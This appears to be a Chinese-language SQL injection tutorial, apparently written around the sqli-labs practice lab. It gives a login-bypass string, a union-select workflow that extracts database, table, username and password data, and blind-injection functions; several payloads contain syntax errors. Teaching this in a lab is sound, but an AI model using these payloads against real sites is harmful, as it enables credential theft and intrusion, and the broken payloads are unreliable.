目录
SQL注入基本概念
SQL注入产生的原因
当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或者修改数据库中的数据。
SQL注入的本质
把用户输入的数据当做代码来执行,违背了“数据与代码分离的原则”。
SQL注入的两个关键点
用户能够控制输入的内容
web应用把用户输入的内容带入到数据库中执行。
SQL注入的危害:SQL中(#)号是注释作用。
:盗取网站的敏感信息。
:绕过网站后台认证。
万能密码:‘ or ‘1’ = ‘1’ #
其中第一个单引号和登陆语句本身的密码的单引号成对,or(全假才加),所以万能语 句为真,#将登陆语句后面的内容全部注释掉。
:借助SQL注入漏洞提权获取系统的权限。
:提取文件的信息。
SQL注入分类
- 根据注入位置分类:GET型、POST型、Head头注入
- 根据反馈结构分类:有回显(显错注入)、无回显(盲注)
- 根据数据类型分类:数字型和字符型
数字型:输入的参数为整型,如ID、年龄、页码等。
字符型:输入的参数为字符串。
数字型与字符型的最大区别:数字型不需要单引号闭合,字符型一般需要单引号闭合(闭合方式也不一定就是单引号)。
SQL注入流程
1.寻找注入点
比如密码输入、网页搜索框
2.判断闭合方式
?id=1sjkhd(后面的字母可以乱写)
有报错:数字型,数字类型无闭合
无报错:字符型,需要判断闭合方式,闭合方式有:'、"、')、")
将判断闭合方式语句后加一个单引号(判断闭合方式,此时语句知道类型为字符型):?id=1sjkhd'
如下:去掉我们输入的1sjkhd'后,观察右边,发现还剩下一个单引号,所以为单引号闭合方式
3.验证漏洞
?id = 1 and 1 --+ 正常显示(--+与#一样,属于注释作用)真(and,全真才真)
?id = 1 and 0--+ 无显示 假
两个语句执行后,第二个语句无显示,存在漏洞。
4.判断列数及回显
利用order by语句:?id=1') order by 4--+ (这里的数字从大到小测试,可以采用二分法)。
如下:
5.利用联合查询,判断回显位
?id= -1') union select 1,2,3 --+ (前面得知有三列)
如下:1没有显示,接下来就只需要到2和3有回显的位置进行测试。
6.取数据库名
如上知道,可以在2和3的位置进行注入。相应位置写:database()
取数据库名(在2的位置进行注入,3也可以):?id= -1') union select 1,database(),3 --+
如下:可以得到2的数据库名为:security
7.取表名
?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database()),3 --+
其中database()写成security也可以
information_schema:就是指数据库(点tables就是指数据库下的一张表)
group_conat:将我们查到的内容进行输出。
table——name:表名
8.查列名:
对取表名的语句进行修改:?id=-1') union select 1,(select group_concat (table_name) from information_schema.tables where table_schema=database().....),3 --+
修改后:?id=-1') union select 1,(select column_name) from information_schema.column where table_schema=database() and table_name='users',3++
其中:users为上面查到的表名,可以随便选一个来查询。
如下就可以知道:在users下有如下三个列名
9.取最后的数据:
?id=-1') union select 1, ( select group_concat(username)from users ,3 --+
如下,就取出了username下的全部数据内容
这里,可以在2的位置写上username,3的位置写上password,就可以的到全部数据
?id=-1') union select 1,group_concat (username),group_concat(password) from users --+
10.总结:
盲注的基本概念
什么是盲注
指在SQL注入的过程中,找到注入点后,执行SQL语句后,选择的数据或者错误信息不能回显到前端页面。
这里需要利用一些方法进行判断或者猜测,这个过程称之为盲注。
第八关就用到盲注的方法。因为当输入?id=1时,出现的是:You are in .......
只有两种显示,输入正确的语句,就显示you are in ......,输入错误的东西,就不显示内容。
盲注的分类:
- 基于布尔判断的盲注
- 基于时间延迟的盲注
- 基于报错显示的盲注
盲注常用函数(分号不要忘记)
- substr(string,start,length)
功能:截取字符串的功能
返回值:返回截取后的字符串
参数:string为操作字符串,start为字符串的开始位置,length为从开始位置截取的长度。
比如:$ret = substr ("hello kali",2,4);
ret = "ello" ; #(解释:从第二个位置开始,长度为4)
比如:substr(database(),1,1)> ' a ' #(解释:判断数据库名第一位是否大于a,再查看其他位进行判断)。
- mid(column_name,start,length)
功能:与substr的功能是一样的。
- left(string,n)
功能:返回字符串string最左边的n个字符串
返回值:字符串的左边的n个字符串
比如:$ret = left("redhat",3);
ret = "red";
比如:left(database()2,=‘se’)#判断数据库名前2个字符是否为se;再查看其他位进行判断。
- right(与left一样,只是说从右边开始)
- ord (char)
功能:char为字符,用于返回字符的ASCII码,有时候服务器会对单引号进行转义,使ASCII码就不适用单引号参数。
返回值:返回ASCII码值
比如:$ret = ord('a');
ret = 97;
比如:ord (mid(database),1,1)>114;#检测database()的第一位ASCII码是否发育114,也就是‘r’。
- ascii(str)#与ord的功能一样。
- length(string)
功能:截取字符串的长度,判断字符串的长度
比如:length(database())>5 #判断数据库名是否大于5.
- ifnull(str1,str2)
功能:根据第一个参数是否为null返回的具体值,ifnull里面有两个数,如果第一个数不为null,返回str1,如果第一个数str1=null,返回str2 。
返回值:根据第一个参数来判断返回值。
比如:$ret1 1=ifnull ("hello","nihao");
ret1 = "hello"
$ret2 = ifnull (null,"nihao");
ret2 = "nihao"